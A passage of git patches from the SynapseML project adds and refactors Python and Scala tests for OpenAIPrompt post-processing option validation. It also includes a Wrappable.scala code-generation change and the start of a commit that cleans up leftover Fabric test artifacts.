test_set_post_processing_options_rejects_regex_without_group(self): + prompt = OpenAIPrompt() + + with self.assertRaisesRegex( + IllegalArgumentException, + "regexGroup must be specified with regex", + ): + prompt.setPostProcessingOptions({"regex": ".*"}) + + def test_set_post_processing_options_rejects_invalid_values(self): + cases = [ + ({"jsonSchema": "not a schema"}, "Invalid jsonSchema"), + ({"jsonSchema": "STRING"}, "Invalid jsonSchema"), + ({"jsonSchema": "MAP"}, "Invalid jsonSchema"), + ( + {"jsonSchema": "STRUCT>"}, + "Invalid jsonSchema", + ), + ( + {"jsonSchema": "STRUCT"}, + "Invalid jsonSchema", + ), + ({"delimiter": "["}, "Invalid delimiter"), + ({"regex": "([", "regexGroup": "1"}, "Invalid regex"), + ( + {"regex": "(.*)", "regexGroup": "not-an-integer"}, + "regexGroup must be a non-negative integer", + ), + ( + {"regex": "(.*)", "regexGroup": "2"}, + "regexGroup exceeds the number of capture groups", + ), + ( + {"delimiter": ",", "jsonSchema": "value STRING"}, + "Invalid post processing options", + ), + ( + {"delimiter": ",", "regexGroup": "0"}, + "Invalid post processing options", + ), + ] + + for options, message in cases: + with self.subTest(options=options): + with self.assertRaisesRegex(IllegalArgumentException, message): + OpenAIPrompt().setPostProcessingOptions(options) + + def test_json_and_regex_modes_require_options(self): + cases = [ + ( + "json", + "jsonSchema must be specified with json postProcessing", + ), + ( + "regex", + "regex and regexGroup must be specified with regex postProcessing", + ), + ] + + for mode, message in cases: + with self.subTest(mode=mode): + with self.assertRaisesRegex(IllegalArgumentException, message): + OpenAIPrompt( + postProcessing=mode, + postProcessingOptions={}, + ) + + prompt = OpenAIPrompt().setPostProcessing(mode) + with self.assertRaisesRegex(IllegalArgumentException, message): + prompt.setPostProcessingOptions({}) + + with self.assertRaisesRegex(IllegalArgumentException, message): + OpenAIPrompt().setParams( + postProcessing=mode, + postProcessingOptions={}, + ) + + def test_set_params_validates_post_processing_options_on_jvm(self): + prompt = OpenAIPrompt().setParams( + postProcessingOptions={"delimiter": ";"}, + ) + + self.assertEqual(prompt.getPostProcessing(), "csv") + self.assertEqual(prompt._java_obj.getPostProcessing(), "") + prompt._transfer_params_to_java() + self.assertEqual(prompt._java_obj.getPostProcessing(), "csv") + + conflicting_prompt = OpenAIPrompt() + with self.assertRaisesRegex( + IllegalArgumentException, + "postProcessing must be 'csv'", + ): + conflicting_prompt.setParams( + postProcessing="json", + postProcessingOptions={"delimiter": ";"}, + ) + + self.assertFalse(conflicting_prompt.isSet(conflicting_prompt.postProcessing)) + self.assertEqual(conflicting_prompt._java_obj.getPostProcessing(), "") + + def test_clear_does_not_leave_eager_java_state(self): + prompt = OpenAIPrompt().setPostProcessingOptions({"delimiter": ";"}) + + self.assertEqual(prompt.getPostProcessing(), "csv") + self.assertEqual(prompt._java_obj.getPostProcessing(), "") + + prompt.clear(prompt.postProcessing) + prompt._transfer_params_to_java() + + self.assertFalse(prompt.isSet(prompt.postProcessing)) + self.assertTrue(prompt.isSet(prompt.postProcessingOptions)) + self.assertEqual(prompt.getPostProcessing(), "") + self.assertEqual(prompt.getPostProcessingOptions(), {"delimiter": ";"}) + self.assertEqual(prompt._java_obj.getPostProcessing(), "") + self.assertEqual( + prompt._java_obj.getPostProcessingOptions().apply("delimiter"), + ";", + ) + + empty_schema = spark._jsparkSession.parseDataType(StructType([]).json()) + with self.assertRaisesRegex( + IllegalArgumentException, + "postProcessing must be 'csv'", + ): + prompt._java_obj.transformSchema(empty_schema) + + def test_legacy_options_only_stage_loads_and_infers_mode(self): + legacy_prompt = OpenAIPrompt().setPostProcessingOptions( + {"delimiter": ";"}, + ) + + with tempfile.TemporaryDirectory() as temp_dir: + path = os.path.join(temp_dir, "legacy-openai-prompt") + legacy_prompt.save(path) + metadata_path = glob.glob(os.path.join(path, "metadata", "part-*"))[0] + with open(metadata_path, encoding="utf-8") as metadata_file: + metadata = json.load(metadata_file) + metadata["paramMap"]["postProcessing"] = "" + with open(metadata_path, "w", encoding="utf-8") as metadata_file: + json.dump(metadata, metadata_file) + checksum_path = os.path.join( + os.path.dirname(metadata_path), + f".{os.path.basename(metadata_path)}.crc", + ) + if os.path.exists(checksum_path): + os.remove(checksum_path) + + loaded_prompt = OpenAIPrompt.load(path) + + self.assertEqual(loaded_prompt.getPostProcessing(), "") + self.assertEqual( + loaded_prompt._java_obj.getPostProcessingOptions().apply("delimiter"), + ";", + ) + + empty_schema = spark._jsparkSession.parseDataType(StructType([]).json()) + transformed_schema = loaded_prompt._java_obj.transformSchema(empty_schema) + output_type = transformed_schema.apply( + loaded_prompt.getOutputCol() + ).dataType() + self.assertEqual(output_type.typeName(), "array") + + loaded_options = loaded_prompt.getPostProcessingOptions() + loaded_prompt.setPostProcessingOptions(loaded_options) + self.assertEqual(loaded_prompt.getPostProcessing(), "csv") + self.assertEqual( + loaded_prompt.getPostProcessingOptions(), + {"delimiter": ";"}, + ) + + with self.assertRaisesRegex( + IllegalArgumentException, + "postProcessing must be 'csv'", + ): + loaded_prompt.setPostProcessing("json") + + loaded_prompt.setPostProcessing("csv") + + explicit_empty_prompt = OpenAIPrompt().setPostProcessing("") + with self.assertRaisesRegex( + IllegalArgumentException, + "postProcessing must be 'csv'", + ): + explicit_empty_prompt.setPostProcessingOptions(loaded_options) + + with self.assertRaisesRegex( + IllegalArgumentException, + "postProcessing must be 'csv'", + ): + OpenAIPrompt( + postProcessing="", + postProcessingOptions=loaded_options, + ) + + with self.assertRaisesRegex( + IllegalArgumentException, + "postProcessing must be 'csv'", + ): + OpenAIPrompt().setParams( + postProcessing="", + postProcessingOptions=loaded_options, + ) + + def test_reverse_order_mode_changes_fail_immediately(self): + prompt = OpenAIPrompt().setPostProcessingOptions({"delimiter": ";"}) + + for mode in ["", "json"]: + with self.subTest(mode=mode): + with self.assertRaisesRegex( + IllegalArgumentException, + "postProcessing must be 'csv'", + ): + prompt.setPostProcessing(mode) + + with self.assertRaisesRegex( + IllegalArgumentException, + "postProcessing must be 'csv'", + ): + prompt.setParams(postProcessing=mode) + + self.assertEqual(prompt.getPostProcessing(), "csv") + self.assertEqual( + prompt.getPostProcessingOptions(), + {"delimiter": ";"}, + ) + + def test_copy_preserves_explicit_mode_provenance(self): + source = OpenAIPrompt() + copied = source.copy({source.postProcessing: ""}) + + with self.assertRaisesRegex( + IllegalArgumentException, + "postProcessing must be 'csv'", + ): + copied.setPostProcessingOptions({"delimiter": ";"}) + + self.assertEqual(copied.getPostProcessing(), "") + self.assertEqual(copied.getPostProcessingOptions(), {}) + + csv_source = OpenAIPrompt().setPostProcessingOptions({"delimiter": ";"}) + with self.assertRaisesRegex( + IllegalArgumentException, + "postProcessing must be 'csv'", + ): + csv_source.copy({csv_source.postProcessing: ""}) + + self.assertEqual(csv_source.getPostProcessing(), "csv") + self.assertEqual( + csv_source.getPostProcessingOptions(), + {"delimiter": ";"}, + ) + + options_copy = source.copy({source.postProcessingOptions: {"delimiter": ";"}}) + self.assertEqual(options_copy.getPostProcessing(), "csv") + self.assertEqual( + options_copy.getPostProcessingOptions(), + {"delimiter": ";"}, + ) + + with self.assertRaisesRegex(IllegalArgumentException, "Invalid delimiter"): + source.copy({source.postProcessingOptions: {"delimiter": "["}}) + + def test_set_params_converts_all_values_before_mutating(self): + prompt = OpenAIPrompt().setPostProcessing("csv") + + with self.assertRaises(TypeError): + prompt.setParams( + postProcessing="json", + concurrency="not-an-integer", + ) + + self.assertEqual(prompt.getPostProcessing(), "csv") + self.assertEqual(prompt.getConcurrency(), 1) + + def test_constructor_infers_modes_and_rejects_conflicts(self): + inference_cases = [ + ({"delimiter": ";"}, "csv"), + ({"jsonSchema": "value STRING"}, "json"), + ({"regex": "(.*)", "regexGroup": "1"}, "regex"), + ] + + for options, expected_mode in inference_cases: + with self.subTest(options=options): + prompt = OpenAIPrompt(postProcessingOptions=options) + self.assertEqual(prompt.getPostProcessing(), expected_mode) + self.assertEqual(prompt.getPostProcessingOptions(), options) + + cases = [ + { + "postProcessingOptions": {"delimiter": ";"}, + "postProcessing": "json", + }, + { + "postProcessing": "json", + "postProcessingOptions": {"delimiter": ";"}, + }, + ] + + for kwargs in cases: + with self.subTest(kwargs=kwargs): + with self.assertRaisesRegex( + IllegalArgumentException, + "postProcessing must be 'csv'", + ): + OpenAIPrompt(**kwargs) + + prompt = OpenAIPrompt( + postProcessingOptions={"delimiter": ";"}, + postProcessing="csv", + ) + self.assertEqual(prompt.getPostProcessing(), "csv") + self.assertEqual(prompt.getPostProcessingOptions(), {"delimiter": ";"}) + + with self.assertRaisesRegex( + IllegalArgumentException, + "postProcessing must be 'csv'", + ): + OpenAIPrompt( + postProcessingOptions={"delimiter": ";"}, + postProcessing="", + ) + + def test_set_post_processing_options_rejects_conflicting_explicit_modes(self): + cases = [ + ("json", {"delimiter": ","}, "csv"), + ("csv", {"jsonSchema": "value STRING"}, "json"), + ("json", {"regex": ".*", "regexGroup": "0"}, "regex"), + ] + + for explicit_mode, options, inferred_mode in cases: + with self.subTest( + explicit_mode=explicit_mode, + inferred_mode=inferred_mode, + ): + prompt = OpenAIPrompt().setPostProcessing(explicit_mode) + + with self.assertRaisesRegex( + IllegalArgumentException, + f"postProcessing must be '{inferred_mode}'", + ): + prompt.setPostProcessingOptions(options) + + self.assertEqual(prompt.getPostProcessing(), explicit_mode) + self.assertEqual(prompt._java_obj.getPostProcessing(), "") + + +if __name__ == "__main__": + unittest.main() diff --git a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIPromptParamsSuite.scala b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIPromptParamsSuite.scala new file mode 100644 index 00000000000..b4197f8fa7c --- /dev/null +++ b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIPromptParamsSuite.scala @@ -0,0 +1,333 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.services.openai + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase +import org.apache.spark.ml.param.ParamMap +import org.apache.spark.sql.types.{ArrayType, StringType, StructType} + +class OpenAIPromptParamsSuite extends TestBase { + + private def generatedPythonClass: String = + new OpenAIPrompt().generatedPythonClass + + private def javaMap(values: (String, String)*): java.util.HashMap[String, String] = { + val result = new java.util.HashMap[String, String]() + values.foreach { case (key, value) => result.put(key, value) } + result + } + + private def occurrenceCount(value: String, substring: String): Int = + value.sliding(substring.length).count(_ == substring) + + private def assertInvalidOptions(options: Map[String, String], message: String): Unit = { + val scalaError = intercept[IllegalArgumentException] { + new OpenAIPrompt().setPostProcessingOptions(options) + } + val javaError = intercept[IllegalArgumentException] { + new OpenAIPrompt().setPostProcessingOptions(javaMap(options.toSeq: _*)) + } + + assert(scalaError.getMessage === message) + assert(javaError.getMessage === message) + } + + test("Scala and Java setPostProcessingOptions should infer csv and json modes") { + Seq( + Map("delimiter" -> ";") -> "csv", + Map("jsonSchema" -> "value STRING") -> "json" + ).foreach { case (options, expectedMode) => + val scalaPrompt = new OpenAIPrompt().setPostProcessingOptions(options) + val javaPrompt = new OpenAIPrompt().setPostProcessingOptions(javaMap(options.toSeq: _*)) + + assert(scalaPrompt.getPostProcessing === expectedMode) + assert(scalaPrompt.getPostProcessingOptions === options) + assert(javaPrompt.getPostProcessing === expectedMode) + assert(javaPrompt.getPostProcessingOptions === options) + } + } + + test("Scala and Java setPostProcessingOptions should accept valid regex options") { + val options = Map("regex" -> "value=(.*)", "regexGroup" -> "1") + val scalaPrompt = new OpenAIPrompt().setPostProcessingOptions(options) + val javaPrompt = new OpenAIPrompt().setPostProcessingOptions(javaMap(options.toSeq: _*)) + + assert(scalaPrompt.getPostProcessing === "regex") + assert(scalaPrompt.getPostProcessingOptions === options) + assert(javaPrompt.getPostProcessing === "regex") + assert(javaPrompt.getPostProcessingOptions === options) + } + + test("Scala and Java setPostProcessingOptions should require regexGroup with regex") { + val scalaError = intercept[IllegalArgumentException] { + new OpenAIPrompt().setPostProcessingOptions(Map("regex" -> ".*")) + } + val javaError = intercept[IllegalArgumentException] { + new OpenAIPrompt().setPostProcessingOptions(javaMap("regex" -> ".*")) + } + + assert(scalaError.getMessage === "requirement failed: regexGroup must be specified with regex") + assert(javaError.getMessage === scalaError.getMessage) + } + + test("Scala and Java setPostProcessingOptions should reject unsupported options") { + assertInvalidOptions(Map("invalidOption" -> "value"), "Invalid post processing options") + assertInvalidOptions( + Map("delimiter" -> ",", "jsonSchema" -> "value STRING"), + "Invalid post processing options" + ) + assertInvalidOptions( + Map("delimiter" -> ",", "regexGroup" -> "0"), + "Invalid post processing options" + ) + } + + test("Scala and Java setPostProcessingOptions should preserve empty options") { + val scalaPrompt = new OpenAIPrompt().setPostProcessingOptions(Map.empty[String, String]) + val javaPrompt = new OpenAIPrompt().setPostProcessingOptions(javaMap()) + + assert(scalaPrompt.getPostProcessing === "") + assert(scalaPrompt.getPostProcessingOptions.isEmpty) + assert(javaPrompt.getPostProcessing === "") + assert(javaPrompt.getPostProcessingOptions.isEmpty) + } + + test("Json and regex modes should require their options") { + Seq( + "json" -> "jsonSchema must be specified with json postProcessing", + "regex" -> "regex and regexGroup must be specified with regex postProcessing" + ).foreach { case (mode, message) => + Seq( + new OpenAIPrompt().setPostProcessing(mode), + new OpenAIPrompt().setPostProcessing(mode) + ).zipWithIndex.foreach { case (prompt, index) => + val setterError = intercept[IllegalArgumentException] { + if (index == 0) { + prompt.setPostProcessingOptions(Map.empty[String, String]) + } else { + prompt.setPostProcessingOptions(javaMap()) + } + } + assert(setterError.getMessage === s"requirement failed: $message") + + val parserError = intercept[IllegalArgumentException] { + prompt.transformSchema(StructType(Nil)) + } + assert(parserError.getMessage === s"requirement failed: $message") + } + } + } + + test("Scala and Java setPostProcessingOptions should reject malformed parser values") { + Seq( + Map("jsonSchema" -> "not a schema") -> "Invalid jsonSchema", + Map("jsonSchema" -> "STRING") -> "Invalid jsonSchema", + Map("jsonSchema" -> "MAP") -> "Invalid jsonSchema", + Map("jsonSchema" -> "STRUCT>") -> "Invalid jsonSchema", + Map("jsonSchema" -> "STRUCT") -> "Invalid jsonSchema", + Map("delimiter" -> "[") -> "Invalid delimiter", + Map("regex" -> "([", "regexGroup" -> "1") -> "Invalid regex", + Map("regex" -> "(.*)", "regexGroup" -> "not-an-integer") -> + "regexGroup must be a non-negative integer", + Map("regex" -> "(.*)", "regexGroup" -> "2") -> + "regexGroup exceeds the number of capture groups" + ).foreach { case (options, message) => + assertInvalidOptions(options, message) + } + } + + test("Scala and Java setPostProcessingOptions should reject conflicting explicit modes") { + Seq( + ("json", Map("delimiter" -> ","), "csv"), + ("csv", Map("jsonSchema" -> "value STRING"), "json"), + ("json", Map("regex" -> ".*", "regexGroup" -> "0"), "regex") + ).foreach { case (explicitMode, options, inferredMode) => + val scalaError = intercept[IllegalArgumentException] { + new OpenAIPrompt() + .setPostProcessing(explicitMode) + .setPostProcessingOptions(options) + } + val javaError = intercept[IllegalArgumentException] { + new OpenAIPrompt() + .setPostProcessing(explicitMode) + .setPostProcessingOptions(javaMap(options.toSeq: _*)) + } + + assert(scalaError.getMessage === s"postProcessing must be '$inferredMode'") + assert(javaError.getMessage === scalaError.getMessage) + } + } + + test("Mode setters and clear should preserve post-processing invariants") { + Seq( + new OpenAIPrompt().setPostProcessingOptions(Map("delimiter" -> ";")), + new OpenAIPrompt().setPostProcessingOptions(javaMap("delimiter" -> ";")) + ).foreach { prompt => + Seq("", "json").foreach { mode => + val error = intercept[IllegalArgumentException] { + prompt.setPostProcessing(mode) + } + assert(error.getMessage === "postProcessing must be 'csv'") + } + + prompt.setPostProcessing("csv") + prompt.clear(prompt.postProcessing) + assert(!prompt.isSet(prompt.postProcessing)) + assert(prompt.getPostProcessing === "") + assert(prompt.getPostProcessingOptions === Map("delimiter" -> ";")) + val clearError = intercept[IllegalArgumentException] { + prompt.transformSchema(StructType(Nil)) + } + assert(clearError.getMessage === "postProcessing must be 'csv'") + } + } + + test("Copy should preserve explicit mode provenance") { + val explicitEmpty = new OpenAIPrompt().setPostProcessing("") + val copied = explicitEmpty.copy(ParamMap.empty).asInstanceOf[OpenAIPrompt] + + val error = intercept[IllegalArgumentException] { + copied.setPostProcessingOptions(Map("delimiter" -> ";")) + } + assert(error.getMessage === "postProcessing must be 'csv'") + + val csvPrompt = new OpenAIPrompt().setPostProcessingOptions(Map("delimiter" -> ";")) + val copyError = intercept[IllegalArgumentException] { + csvPrompt.copy(ParamMap(csvPrompt.postProcessing -> "")) + } + assert(copyError.getMessage === "postProcessing must be 'csv'") + } + + test("Invalid cleared mode state should not be persisted") { + spark + val path = tmpDir.resolve("cleared-mode").toString + new OpenAIPrompt().setPostProcessingOptions(Map("delimiter" -> "|")) + .write.overwrite().save(path) + + val prompt = new OpenAIPrompt().setPostProcessingOptions(Map("delimiter" -> ";")) + val writer = prompt.write.overwrite() + prompt.clear(prompt.postProcessing) + + val error = intercept[IllegalArgumentException] { + writer.save(path) + } + assert(error.getMessage === "postProcessing must be 'csv'") + + val preserved = OpenAIPrompt.load(path) + assert(preserved.getPostProcessing === "csv") + assert(preserved.getPostProcessingOptions === Map("delimiter" -> "|")) + } + + test("Legacy loaded empty mode should support Scala and Java option setters") { + spark + val legacyPrompt = new OpenAIPrompt().setPostProcessingOptions(Map("delimiter" -> ";")) + legacyPrompt.set(legacyPrompt.postProcessing, "") + val path = tmpDir.resolve("legacy-empty-mode").toString + legacyPrompt.write.overwrite().save(path) + + val scalaLoaded = OpenAIPrompt.load(path) + scalaLoaded.setPostProcessingOptions(Map("delimiter" -> ":")) + assert(scalaLoaded.getPostProcessing === "csv") + assert(scalaLoaded.getPostProcessingOptions === Map("delimiter" -> ":")) + + val javaLoaded = OpenAIPrompt.load(path) + javaLoaded.setPostProcessingOptions(javaMap("delimiter" -> "|")) + assert(javaLoaded.getPostProcessing === "csv") + assert(javaLoaded.getPostProcessingOptions === Map("delimiter" -> "|")) + } + + test("Generated Python should contain validated setters and setParams implementation") { + val generatedClass = generatedPythonClass + + assert(occurrenceCount(generatedClass, "def setPostProcessingOptions") === 1) + assert(occurrenceCount(generatedClass, "def setPostProcessing(") === 1) + assert(occurrenceCount(generatedClass, "def setParams") === 1) + assert(generatedClass.contains("kwargs = dict(kwargs)")) + assert(generatedClass.contains("post_processing_options = kwargs.pop(\"postProcessingOptions\", None)")) + assert(generatedClass.contains("postProcessingOptions must be a mapping")) + assert(generatedClass.contains("_validate_post_processing_options")) + assert(generatedClass.contains("_validate_post_processing(value)")) + assert(generatedClass.contains("OpenAIPromptPostProcessing.validateAndInferMode")) + assert(generatedClass.contains("OpenAIPromptPostProcessing.validateMode")) + assert(generatedClass.contains("OpenAIPromptPostProcessing.validateModeWithOptions")) + assert(generatedClass.contains("isinstance(options, JavaObject)")) + assert(generatedClass.contains("_normalize_post_processing_options")) + assert(generatedClass.contains("_set_params_atomically")) + assert(generatedClass.contains("_post_processing_explicitly_set")) + assert(generatedClass.contains("def clear(self, param)")) + assert(generatedClass.contains("def copy(self, extra=None)")) + assert(generatedClass.contains("self._set(postProcessingOptions=value)")) + assert(!generatedClass.contains("_post_processing_validation")) + assert(!generatedClass.contains("applyPrevalidated")) + assert(generatedClass.contains("_jvm.java.util.HashMap()")) + } + + test("OpenAIPrompt Python setParams override should fail on template drift") { + val error = intercept[IllegalArgumentException] { + OpenAIPromptPythonOverrides.setParamsFunc("drifted template") + } + + assert(error.getMessage === "requirement failed: OpenAIPrompt Python setParams template did not match") + } + + test("Raw and copied postProcessingOptions should preserve legacy inference and enforce conflicts") { + val rawPrompt = new OpenAIPrompt() + rawPrompt.set(rawPrompt.postProcessingOptions, Map("delimiter" -> ",")) + val rawMissingModeError = intercept[IllegalArgumentException] { + rawPrompt.transformSchema(StructType(Nil)) + } + assert(rawMissingModeError.getMessage === "postProcessing must be 'csv'") + + val legacySource = new OpenAIPrompt() + val legacyCopy = legacySource.copy(ParamMap( + legacySource.postProcessingOptions -> Map("delimiter" -> ";") + )).asInstanceOf[OpenAIPrompt] + assert(legacyCopy.getPostProcessing === "csv") + spark + val copiedOptionsSchema = legacyCopy.transformSchema(StructType(Nil)) + assert(copiedOptionsSchema(legacyCopy.getOutputCol).dataType === ArrayType(StringType)) + + val legacyEmptyModeSource = new OpenAIPrompt() + legacyEmptyModeSource.set(legacyEmptyModeSource.postProcessing, "") + legacyEmptyModeSource.set( + legacyEmptyModeSource.postProcessingOptions, + Map("delimiter" -> ",") + ) + val legacyEmptyModeCopy = legacyEmptyModeSource.copy(ParamMap.empty).asInstanceOf[OpenAIPrompt] + val legacyEmptyModeSchema = legacyEmptyModeCopy.transformSchema(StructType(Nil)) + assert(legacyEmptyModeSchema(legacyEmptyModeCopy.getOutputCol).dataType === ArrayType(StringType)) + + val mismatchedPrompt = new OpenAIPrompt() + mismatchedPrompt.set(mismatchedPrompt.postProcessing, "csv") + mismatchedPrompt.set(mismatchedPrompt.postProcessingOptions, Map("jsonSchema" -> "value STRING")) + val mismatchedModeError = intercept[IllegalArgumentException] { + mismatchedPrompt.transformSchema(StructType(Nil)) + } + assert(mismatchedModeError.getMessage === "postProcessing must be 'json'") + + val sourcePrompt = new OpenAIPrompt() + val copiedModeError = intercept[IllegalArgumentException] { + sourcePrompt.copy(ParamMap( + sourcePrompt.postProcessing -> "csv", + sourcePrompt.postProcessingOptions -> Map("jsonSchema" -> "value STRING") + )) + } + assert(copiedModeError.getMessage === "postProcessing must be 'json'") + + val malformedCopyError = intercept[IllegalArgumentException] { + sourcePrompt.copy(ParamMap( + sourcePrompt.postProcessingOptions -> Map("delimiter" -> "[") + )) + } + assert(malformedCopyError.getMessage === "Invalid delimiter") + + val malformedPrompt = new OpenAIPrompt() + malformedPrompt.set(malformedPrompt.postProcessing, "regex") + malformedPrompt.set(malformedPrompt.postProcessingOptions, Map("regex" -> "([", "regexGroup" -> "1")) + val malformedError = intercept[IllegalArgumentException] { + malformedPrompt.transformSchema(StructType(Nil)) + } + assert(malformedError.getMessage === "Invalid regex") + } +} diff --git a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIPromptSuite.scala b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIPromptSuite.scala index 907cae62271..2c34126538e 100644 --- a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIPromptSuite.scala +++ b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIPromptSuite.scala @@ -508,46 +508,6 @@ class OpenAIPromptSuite extends TransformerFuzzing[OpenAIPrompt] with OpenAIAPIK .count(r => Option(r.getSeq[String](0)).isDefined) } - test("setPostProcessingOptions should set postProcessing to 'csv' for delimiter option") { - val prompt = new OpenAIPrompt() - prompt.setPostProcessingOptions(Map("delimiter" -> ",")) - assert(prompt.getPostProcessing == "csv") - } - - test("setPostProcessingOptions should set postProcessing to 'json' for jsonSchema option") { - val prompt = new OpenAIPrompt() - prompt.setPostProcessingOptions(Map("jsonSchema" -> "schema")) - assert(prompt.getPostProcessing == "json") - } - - test("setPostProcessingOptions should set postProcessing to 'regex' for regex option") { - val prompt = new OpenAIPrompt() - prompt.setPostProcessingOptions(Map("regex" -> ".*", "regexGroup" -> "0")) - assert(prompt.getPostProcessing == "regex") - } - - test("setPostProcessingOptions should throw IllegalArgumentException for invalid options") { - val prompt = new OpenAIPrompt() - intercept[IllegalArgumentException] { - prompt.setPostProcessingOptions(Map("invalidOption" -> "value")) - } - } - - test("setPostProcessingOptions should validate regex options contain regexGroup key") { - val prompt = new OpenAIPrompt() - intercept[IllegalArgumentException] { - prompt.setPostProcessingOptions(Map("regex" -> ".*")) - } - } - - test("setPostProcessingOptions should validate existing postProcessing value") { - val prompt = new OpenAIPrompt() - prompt.setPostProcessing("csv") - intercept[IllegalArgumentException] { - prompt.setPostProcessingOptions(Map("jsonSchema" -> "schema")) - } - } - test("reject bare json_schema string in OpenAIPrompt responseFormat passthrough"){ val p = new OpenAIPrompt() intercept[IllegalArgumentException] { diff --git a/core/src/main/scala/com/microsoft/azure/synapse/ml/codegen/Wrappable.scala b/core/src/main/scala/com/microsoft/azure/synapse/ml/codegen/Wrappable.scala index 6de07481007..423150a3284 100644 --- a/core/src/main/scala/com/microsoft/azure/synapse/ml/codegen/Wrappable.scala +++ b/core/src/main/scala/com/microsoft/azure/synapse/ml/codegen/Wrappable.scala @@ -303,6 +303,23 @@ trait PythonWrappable extends BaseWrappable { } + protected def pySetParamsFunc: String = { + s"""|@keyword_only + |def setParams( + | self, + |${indent(pyParamsArgs, 1)} + | ): + | "\"" + | Set the (keyword only) parameters + | "\"" + | if hasattr(self, "_input_kwargs"): + | kwargs = self._input_kwargs + | else: + | kwargs = self.__init__._input_kwargs + | return self._set(**kwargs) + |""".stripMargin + } + //scalastyle:off method.length protected def pythonClass(): String = { s"""|$copyrightLines @@ -334,19 +351,7 @@ trait PythonWrappable extends BaseWrappable { | |${indent(pyInitFunc(), 1)} | - | @keyword_only - | def setParams( - | self, - |${indent(pyParamsArgs, 2)} - | ): - | "\"" - | Set the (keyword only) parameters - | "\"" - | if hasattr(self, \"_input_kwargs\"): - | kwargs = self._input_kwargs - | else: - | kwargs = self.__init__._input_kwargs - | return self._set(**kwargs) + |${indent(pySetParamsFunc, 1)} | | @classmethod | def read(cls): From 3c165ea96770d5cecd9884b9b0df506003a5c23a Mon Sep 17 00:00:00 2001 From: Rana Singh Date: Sat, 8 Aug 2026 18:45:12 -0700 Subject: [PATCH 36/93] test: clean up Fabric E2E artifacts (#2615) * test: clean up Fabric E2E artifacts ## Summary Run the existing stale-artifact cleanup before Fabric E2E tests and delete each Lakehouse and Spark Job Definition created by a suite after it finishes. Restrict stale cleanup to SynapseML test naming patterns and add regression coverage for cleanup ordering, failure preservation, and pipeline wiring. ## Prompting Intent The engineer asked to make the remaining SynapseML pull requests merge-ready, diagnose failing checks to root cause, keep fixes lean and performant, and avoid changing the original intent of unrelated PRs. Repeated PR #2604 runs reproduced a shared Fabric workspace artifact-quota failure, so this change isolates the CI infrastructure repair from that PR. ## Linked Sources - Original Fabric E2E infrastructure PR: https://github.com/microsoft/SynapseML/pull/2495 - Blocked pull request: https://github.com/microsoft/SynapseML/pull/2604 - Reproduced Azure Pipelines failure: https://msdata.visualstudio.com/A365/_build/results?buildId=230268903 ## Rationale A dedicated cleanup change avoids broadening PR #2604. Running the already-defined stale cleanup first recovers leaked capacity, while tracking and deleting only artifacts created by each suite prevents recurrence. Reverse-order, best-effort deletion removes job definitions before their backing store, tolerates already-deleted resources, and still surfaces every real cleanup failure. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> Copilot-Session: 81d39bfc-927c-418a-90a8-e0f2cd8fc128 * fix: harden Fabric artifact cleanup ## Summary Address review feedback by logging artifact-specific cleanup failures, computing the stale cutoff once per cleanup pass, and waiting for notebook workers to terminate before deleting their artifacts. Add regression coverage for executor shutdown ordering. ## Prompting Intent The engineer asked to resolve all active pull-request comments while keeping CI fixes lean, performant, and free of cleanup races. The three review threads on PR #2615 identified diagnostics, consistency, and concurrency issues in the initial Fabric artifact lifecycle repair. ## Linked Sources - Cleanup failure diagnostics review: https://github.com/microsoft/SynapseML/pull/2615#discussion_r3739655643 - Executor shutdown review: https://github.com/microsoft/SynapseML/pull/2615#discussion_r3739655659 - Stale cutoff review: https://github.com/microsoft/SynapseML/pull/2615#discussion_r3739655670 - Pull request: https://github.com/microsoft/SynapseML/pull/2615 ## Rationale The original exceptions remain unwrapped so callers retain their exact failure types and suppressed errors, while logs now identify the affected artifact. A single cutoff avoids boundary drift. Graceful executor shutdown followed by forced interruption ensures deletion cannot race active notebook work; a hard failure is preferable to deleting resources still in use. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> Copilot-Session: 81d39bfc-927c-418a-90a8-e0f2cd8fc128 * test: harden Fabric artifact cleanup ## Summary Restrict stale Spark Job Definition cleanup to the exact Fabric E2E notebook allowlist, cover forced executor interruption, guarantee test executor cleanup, and execute cleanup plus notebook suites in one sbt process. ## Prompting Intent Extensively review PR #2615 and make it merge-ready while keeping destructive cleanup narrowly scoped, preventing in-flight notebook work from racing artifact deletion, preserving test reliability, and reducing CI startup overhead. ## Linked Sources - Pull request: https://github.com/microsoft/SynapseML/pull/2615 - Executor cleanup review: https://github.com/microsoft/SynapseML/pull/2615#discussion_r3739655659 - Cleanup diagnostics review: https://github.com/microsoft/SynapseML/pull/2615#discussion_r3739655643 - Cutoff consistency review: https://github.com/microsoft/SynapseML/pull/2615#discussion_r3739655670 ## Rationale An exact notebook allowlist avoids deleting unrelated workspace artifacts that merely share the ExploreAlgorithms prefix. A timeout overload makes the forced-shutdown path deterministic to test without slowing production cleanup. Keeping both Fabric test commands in one sbt process preserves fail-fast ordering while avoiding a second JVM startup. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> Copilot-Session: 81d39bfc-927c-418a-90a8-e0f2cd8fc128 --------- Co-authored-by: SynapseML CI Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> Copilot-Session: 81d39bfc-927c-418a-90a8-e0f2cd8fc128 --- .../ml/nbtest/FabricNotebookTests.scala | 89 +++++++++++--- .../ml/nbtest/FabricTestArtifactTracker.scala | 38 ++++++ .../FabricTestArtifactTrackerSuite.scala | 115 ++++++++++++++++++ pipeline.yaml | 4 +- tools/ci/tests/test_pipeline_yaml.py | 25 ++++ 5 files changed, 251 insertions(+), 20 deletions(-) create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/FabricTestArtifactTracker.scala create mode 100644 